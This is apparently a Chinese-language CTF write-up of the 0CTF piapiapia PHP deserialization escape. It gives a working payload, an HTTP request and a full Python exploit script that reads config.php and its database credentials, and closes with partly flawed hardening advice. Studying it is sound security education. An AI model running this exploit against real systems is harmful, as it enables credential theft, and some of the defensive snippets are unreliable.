news 2026/7/8 20:04:38

PHP 反序列化逃逸实战:0CTF piapiapia 34字符逃逸构造与数组绕过

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP 反序列化逃逸实战:0CTF piapiapia 34字符逃逸构造与数组绕过

PHP反序列化逃逸实战:0CTF piapiapia 34字符逃逸构造与数组绕过技术解析

1. 漏洞背景与核心原理

PHP反序列化字符逃逸漏洞的本质在于序列化字符串的结构被破坏后重新拼接恶意代码。当序列化数据经过过滤函数处理后,元素内容发生变化但描述长度的数字未同步更新时,就会导致后续内容"逃逸"出原有结构,成为新的可执行元素。

在0CTF 2016的piapiapia题目中,关键漏洞点出现在以下技术组合:

  • filter函数导致的字符增多:将特定关键词(如'where')替换为更长字符串('hacker')
  • strlen数组绕过:通过提交数组类型绕过nickname字段的长度限制检查
  • 精确字符计算:需要构造34个特定字符实现完整逃逸

关键提示:PHP反序列化时以分号作为字段分隔、大括号作为结尾,长度不对应会导致解析异常,这正是逃逸攻击的突破口

2. 环境搭建与代码审计

2.1 关键文件分析

通过扫描获取www.zip源码后,重点关注三个核心文件:

class.php 过滤逻辑

public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }

update.php 数据处理

$profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile));

profile.php 反序列化点

$profile = unserialize($profile); $photo = base64_encode(file_get_contents($profile['photo']));

2.2 漏洞链条梳理

  1. 用户控制nickname参数 → 2. 序列化后经filter处理 → 3. 字符增多导致结构破坏 → 4. 精心构造的payload逃逸 → 5. 控制photo参数读取config.php

3. 逃逸构造技术详解

3.1 基础逃逸原理演示

正常序列化示例:

a:4:{ s:5:"phone";s:11:"12345678901"; s:5:"email";s:10:"test@qq.com"; s:8:"nickname";s:3:"abc"; s:5:"photo";s:36:"upload/5d41402abc4b2a76b9719d911017c592"; }

恶意构造后:

a:4:{ s:5:"phone";s:11:"12345678901"; s:5:"email";s:10:"test@qq.com"; s:8:"nickname";s:34:"wherewherewhere...where";}s:5:"photo";s:10:"config.php";}"; s:5:"photo";s:36:"upload/5d41402abc4b2a76b9719d911017c592"; }

3.2 精确字符计算

需要逃逸的目标字符串:

";}s:5:"photo";s:10:"config.php";}

总长度计算:

  • 原始字符串:where(5字节)
  • 替换后字符串:hacker(6字节)
  • 每个where增加:1字节
  • 需要增加总长度:34字节
  • 所需where数量:34个

验证计算

>>> original = 'where'*34 >>> len(original) # 170 >>> filtered = 'hacker'*34 >>> len(filtered) # 204 >>> 204 - 170 == 34 # 验证通过 True

3.3 数组绕过技巧

由于nickname有长度限制:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)

利用PHP特性:

  • strlen(array())返回NULL
  • 通过数组提交绕过检查:
POST /update.php HTTP/1.1 ... nickname[]=payload

4. 完整攻击流程

4.1 分步操作指南

  1. 注册账户:正常注册并登录系统
  2. 构造Payload
    payload = 'where'*34 + '";}s:5:"photo";s:10:"config.php";}'
  3. 数组形式提交
    POST /update.php HTTP/1.1 Content-Type: multipart/form-data ------WebKitFormBoundary Content-Disposition: form-data; name="nickname[]" wherewherewhere...where";}s:5:"photo";s:10:"config.php";} ------WebKitFormBoundary--
  4. 触发反序列化:访问profile.php获取base64编码的config.php内容
  5. 解码获取flag
    echo "PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2U1ZWY1MDE0LWMzZmQtNDIyYS1hNWE4LWYyMDkzMWM0YWNmYX0nOwo/Pgo=" | base64 -d

4.2 关键代码片段

自动化攻击脚本

import requests import re import base64 session = requests.Session() target_url = "http://example.com/" # 注册账户 register_data = { 'username': 'exploit_user', 'password': 'exploit_pass', 'confirm': 'exploit_pass' } session.post(target_url + "register.php", data=register_data) # 登录 login_data = { 'username': 'exploit_user', 'password': 'exploit_pass' } session.post(target_url + "login.php", data=login_data) # 构造恶意nickname evil_payload = 'where'*34 + '";}s:5:"photo";s:10:"config.php";}' # 上传修改 files = {'photo': ('test.png', 'test', 'image/png')} update_data = { 'phone': '12345678901', 'email': 'test@qq.com', 'nickname[]': evil_payload } session.post(target_url + "update.php", data=update_data, files=files) # 获取flag response = session.get(target_url + "profile.php") flag_content = re.search(r'base64,(.*?)"', response.text).group(1) print(base64.b64decode(flag_content).decode())

5. 防御方案与最佳实践

5.1 安全编码建议

  1. 输入验证

    // 严格类型检查 if (!is_string($_POST['nickname'])) { die('Invalid input type'); }
  2. 安全序列化方案

    // 使用JSON替代原生序列化 $profile = json_encode($profile, JSON_HEX_TAG | JSON_HEX_APOS);
  3. 过滤函数改进

    function safe_filter($string) { $filtered = str_replace(['where'], 'hacker', $string); // 重新计算长度后序列化 return serialize(unserialize($filtered)); }

5.2 配置加固

  1. 禁用危险函数

    disable_functions = unserialize
  2. 使用HMAC验证

    $secret = 'your_secret_key'; $serialized = serialize($data); $hmac = hash_hmac('sha256', $serialized, $secret); $_SESSION['profile'] = $hmac . $serialized;

6. 扩展思考与变种攻击

6.1 其他CTF中的逃逸案例

比赛名称关键点逃逸类型
安洵杯2019过滤后字符减少吞并后续内容
GYCTF2020多层嵌套+属性控制对象注入
强网杯2021Phar反序列化+文件操作流包装器

6.2 高级利用技巧

  1. 多级逃逸

    // 当存在多个过滤层时,需要计算累计变化量 $total_change = (strlen($filter1_output) - strlen($input)) + (strlen($filter2_output) - strlen($filter1_output));
  2. Unicode编码绕过

    // 使用非常规字符表示属性名 $payload = 's:5:"ph\u{0000}oto";s:10:"config.php";';
  3. 引用对象技巧

    $a = new stdClass(); $a->self = $a; // 创建循环引用 // 可能引发某些解析器异常
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/8 20:01:13

JBoss 网站根目录定位:4种方法对比与自动化脚本实现

JBoss 网站根目录定位:4种方法对比与自动化脚本实现在JBoss应用服务器的管理和安全评估过程中,快速准确地定位网站根目录是渗透测试人员、系统管理员和开发者的核心需求。本文将深入分析四种主流定位方法的技术原理、适用场景及操作细节,并提…

作者头像 李华
网站建设 2026/7/8 19:54:53

go-gitee与CI/CD集成:打造完整的自动化代码部署流水线

go-gitee与CI/CD集成:打造完整的自动化代码部署流水线 【免费下载链接】go-gitee go-gitee is the go sdk of gitee api. 项目地址: https://gitcode.com/openeuler/go-gitee 前往项目官网免费下载:https://ar.openeuler.org/ar/ go-gitee是open…

作者头像 李华
网站建设 2026/7/8 19:53:21

WebLogic T3协议漏洞CVE-2018-2628:3种临时缓解方案与官方补丁对比

WebLogic T3协议漏洞CVE-2018-2628:3种临时缓解方案与官方补丁对比 当WebLogic服务器的控制台端口(默认7001)暴露在互联网时,T3协议服务会默认开启。这个看似高效的Java RMI通信协议,却因反序列化机制缺陷成为攻击者的…

作者头像 李华
网站建设 2026/7/8 19:53:09

3种内容安全方案对比:百度AI审核 vs 自建词库 vs 正则过滤

3种内容安全方案深度对比:技术选型与架构决策指南 在数字化内容爆炸式增长的时代,如何有效过滤违规内容已成为每个互联网产品必须面对的挑战。本文将深入剖析三种主流内容安全方案的技术实现、适用场景与选型策略,为技术决策者提供全面的参考…

作者头像 李华